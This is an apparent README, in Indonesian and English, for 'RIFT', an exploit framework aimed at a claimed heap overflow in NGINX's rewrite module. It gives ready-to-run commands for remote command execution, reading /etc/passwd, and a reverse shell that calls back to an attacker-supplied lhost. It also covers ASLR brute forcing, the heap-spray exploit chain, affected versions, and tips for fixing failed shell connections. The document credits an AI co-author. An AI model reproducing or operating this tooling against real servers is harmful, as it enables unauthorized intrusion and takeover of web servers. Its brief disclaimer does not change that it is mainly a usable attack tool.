Share
## https://sploitus.com/exploit?id=A750C77E-2A84-512E-851A-D31DBACF4509
# RIFT โ€” Remote Injection & Fault Trigger

**Author:** Michael Sanji Winaya Prawiradibrata  
**AI Co-Author:** Varanus โ€” sahabatku

> Heap buffer overflow exploit framework targeting NGINX's `ngx_http_rewrite_module`.  
> Satu tool untuk reconnaissance + exploitation. Zero external dependencies.

---

## Isi Repo

| File | Deskripsi |
|---|---|
| `rift.py` | **Tool utama.** Gabungan recon + exploit dalam satu script (1026 baris). |
| `README.md` | Dokumentasi ini. |

## Requirements

- Python 3.6+ (stdlib only โ€” **no pip, no venv, no dependencies**)

## Cara Cepat

```bash
# 1. Full reconnaissance โ€” deteksi versi, endpoint, celah, strategi
python3 rift.py --target 10.10.10.10 --recon

# 2. Recon + exploit sekali jalan
python3 rift.py --target 10.10.10.10 --auto --cmd "id"

# 3. Command execution
python3 rift.py --target 10.10.10.10 --cmd "whoami"

# 4. Reverse shell (auto-open listener)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444

# 5. Reverse shell pakai bash (instead of python)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444

# 6. Cek vulnerable saja
python3 rift.py --target 10.10.10.10 --check-only
```

---

## Semua Flags

### Mode Penggunaan

| Flag | Fungsi |
|---|---|
| `--recon` | **Full reconnaissance.** Fingerprint โ†’ info leak โ†’ endpoint test โ†’ worker count โ†’ strategy. |
| `--auto` | **Recon + exploit otomatis.** Sama seperti `--recon` lalu lanjut exploit. |
| `--check-only` | **Cek cepat.** Deteksi NGINX, versi, endpoint `/api/`. |
| `--cmd "command"` | Eksekusi satu command via `system()`. |
| `--shell` | **Reverse shell** โ€” auto buka listener, kirim payload, terima koneksi. |

### Opsi Exploit

| Flag | Default | Fungsi |
|---|---|---|
| `--port` | 80 | Port target |
| `--lhost` | โ€” | IP lokal untuk reverse shell (wajib kalau pakai `--shell`) |
| `--lport` | 4444 | Port lokal untuk listener |
| `--shell-type` | `python` | Payload reverse shell: `python`, `bash`, `nc`, `php` |
| `--heap-base` | `0x555555659000` | Base address heap (override untuk ASLR bypass) |
| `--libc-base` | `0x7ffff77ba000` | Base address libc |
| `--tries` | 10 | Attempt per candidate address |
| `--verbose` / `-v` | โ€” | Output detail per attempt |

### Opsi Recon

| Flag | Fungsi |
|---|---|
| `--fingerprint` | Deteksi versi NGINX, endpoint, rewrite module |
| `--leak` | Cek information leak (memory address di error page, timing) |
| `--test-endpoint` | Test behaviour endpoint dengan berbagai payload |
| `--endpoint` | Path endpoint untuk di-test (default: `/api/`) |
| `--generate-exploit` | Generate exploit script khusus dengan address target |
| `--output json` | Output JSON (machine-readable) bersamaan output terminal |

---

## Fitur Unggulan

### โœ… Auto Reverse Shell
Saat pakai `--shell`, script otomatis:
1. Generate payload reverse shell sesuai `--shell-type`
2. Buka listener di `--lport`
3. Kirim exploit
4. Begitu worker crash โ†’ shell masuk
5. **Listener otomatis:** Prioritaskan netcat (`nc -lvnp`), fallback Python listener

### โœ… ASLR Brute Force Otomatis
Kalau address default gagal, script otomatis geser heap base ยฑ5 langkah ร— 0x10000, nyari address yang cocok. Tidak perlu setting manual.

### โœ… Multi-Payload Reverse Shell
4 jenis shell payload โ€” `python`, `bash`, `nc`, `php`. Pilih yang tersedia di target.

### โœ… Full Reconnaissance
`--recon` menjalankan 5 fase:
1. **Fingerprint** โ€” deteksi versi NGINX, 15 endpoint umum, rewrite module
2. **Info leak** โ€” memory address di error page, timing side channel
3. **Endpoint test** โ€” behaviour endpoint dengan 6 jenis payload
4. **Worker count** โ€” estimasi jumlah worker process dari latency pattern
5. **Strategy** โ€” rekomendasi action berdasarkan hasil analisis

### โœ… Output JSON
`--output json` untuk integrasi dengan tool lain atau parsing otomatis.

---

## Vulnerable Configuration

Target exploit adalah NGINX dengan konfigurasi `rewrite` + `set` seperti ini:

```nginx
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # is_args = 1
    set $original_endpoint $1;                     # length calc pake is_args = 0
}
```

Akibatnya: buffer yang dialokasikan terlalu kecil, URI escaping (3ร— expansion) overflow.

### Versi Terkena Dampak

- **NGINX Open Source:** 0.6.27 โ€“ 1.30.0
- **NGINX Plus:** R32 โ€“ R36
- **Fixed:** 1.31.0, 1.30.1, R36 P4+, R35 P2+, R32 P6+

---

## Cara Kerja Exploit

```
1. HEAP SPRAY โ”€โ”€โ”€ POST /spray ร— 20 โ†’ tanam fake ngx_pool_cleanup_s di heap
2. TRIGGER โ”€โ”€โ”€โ”€โ”€โ”€ GET /api/AAAA...++++... โ†’ overflow via URI escaping
3. CORRUPT โ”€โ”€โ”€โ”€โ”€โ”€ Overflow tulis ulang cleanup pointer pool adjacent
4. EXEC โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Pool destroyed โ†’ panggil system("command")
```

---

## Constant Penting (bisa diubah di `rift.py`)

| Constant | Default | Arti |
|---|---|---|
| `BODY_LEN` | 4000 | Ukuran spray body (bytes) |
| `N_SPRAY` | 20 | Jumlah POST request per attempt |
| `LIBC_SYSTEM_OFFSETS` | 7 entries | Offset `system()` untuk berbagai distro |
| `PREREAD_HEAP_OFFSETS` | 19 entries | Kandidat offset heap |
| `DEFAULT_HEAP_BASE` | `0x555555659000` | Heap base (ASLR off) |
| `DEFAULT_LIBC_BASE` | `0x7ffff77ba000` | Libc base (ASLR off) |

---

## Contoh Lengkap

### Command Execution + Verbose

```bash
python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose
```

### Custom Address (ASLR bypass)

```bash
python3 rift.py --target 10.10.10.10 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000
```

### Banyak Attempt

```bash
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50
```

### Recon + JSON

```bash
python3 rift.py --target 10.10.10.10 --recon --output json
```

### Generate Exploit Script

```bash
python3 rift.py --target 10.10.10.10 --generate-exploit
# โ†’ exploit_10_10_10_10.py
```

---

## Troubleshooting

### "Target doesn't appear to be running NGINX"
- Cek port: `nc -zv  80`
- Coba port lain: `--port 8080`, `--port 443`
- Mungkin behind WAF/proxy

### "All exploitation attempts failed"
1. ASLR mungkin aktif โ€” coba `--auto` untuk ASLR sliding otomatis
2. NGINX version mungkin sudah di-patch (> 1.30.1)
3. Konfigurasi NGINX mungkin tidak vulnerable (tidak pakai rewrite+set)
4. Coba `--verbose` lihat detail per attempt

### Shell tidak connect
- Cek firewall lokal: `sudo ufw allow 4444`
- Cek `--lhost` โ€” pastikan IP lokal benar
- Coba `--shell-type bash` atau `--shell-type nc`

---

## Disclaimer

Dibuat untuk tujuan edukasi dan authorized security testing saja.  
Penggunaan terhadap sistem tanpa izin adalah ilegal.

© 2026 Michael Sanji Winaya Prawiradibrata  
AI co-author: Varanus